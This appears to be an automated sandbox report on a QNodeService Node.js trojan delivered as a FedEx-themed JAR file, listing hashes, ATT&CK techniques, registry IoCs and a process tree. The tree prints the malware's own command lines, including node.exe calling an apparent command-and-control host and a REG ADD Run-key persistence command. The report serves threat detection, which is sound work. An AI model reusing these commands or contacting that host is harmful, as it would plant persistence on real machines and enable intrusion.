qnodeservice | 2c5607a8d1a2c9baf69ebfd4b285519d453e397bda7f0b63fca3e1e2c4748e9c

General

Target

FedEx AWB # 187320605737.jar
Size

79KB
MD5

235a86c4929c5e3de83e6855370d6eb4
SHA1

fc9e5d5dbef91d126b019a484d21ffc032e9c573
SHA256

2c5607a8d1a2c9baf69ebfd4b285519d453e397bda7f0b63fca3e1e2c4748e9c
SHA512

f6283ba5d77c4750cb66f510ac1a73108e10fabc0f11a96916c584099c544ca03b57ade2cc047ab80c57f8ad6fdce65cedfd50751a125a104562b2b9dd73d178

Score

10^/10

qnodeservice persistence trojan

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1736	node.exe
2644	node.exe
3400	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2627584638-3284755310-3019450177-1000\Software\Microsoft\Windows\CurrentVersion\Run\41650f78-ad81-4e8c-9ee2-5428cc3b4a02 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ab75-164.dat	js
behavioral2/files/0x000100000001ab75-167.dat	js
behavioral2/files/0x000100000001ab75-171.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	wtfismyip.com
24	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1736	node.exe
1736	node.exe
1736	node.exe
1736	node.exe
2644	node.exe
2644	node.exe
2644	node.exe
2644	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe
3400	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 768 wrote to memory of 3932	768	java.exe	75
PID 768 wrote to memory of 3932	768	java.exe	75
PID 3932 wrote to memory of 1736	3932	javaw.exe	79
PID 3932 wrote to memory of 1736	3932	javaw.exe	79
PID 1736 wrote to memory of 2644	1736	node.exe	81
PID 1736 wrote to memory of 2644	1736	node.exe	81
PID 2644 wrote to memory of 3400	2644	node.exe	82
PID 2644 wrote to memory of 3400	2644	node.exe	82
PID 3400 wrote to memory of 3884	3400	node.exe	84
PID 3400 wrote to memory of 3884	3400	node.exe	84
PID 3884 wrote to memory of 184	3884	cmd.exe	85
PID 3884 wrote to memory of 184	3884	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\FedEx AWB # 187320605737.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:768
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\b4407cc4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_qbspvZ\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2644
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_qbspvZ\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "41650f78-ad81-4e8c-9ee2-5428cc3b4a02" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3884
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "41650f78-ad81-4e8c-9ee2-5428cc3b4a02" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1736-165-0x0000001F56480000-0x0000001F56481000-memory.dmp

Filesize
4KB

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memory/2644-168-0x000003ECB9900000-0x000003ECB9901000-memory.dmp

Filesize
4KB

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memory/3400-172-0x000003A577040000-0x000003A577041000-memory.dmp

Filesize
4KB

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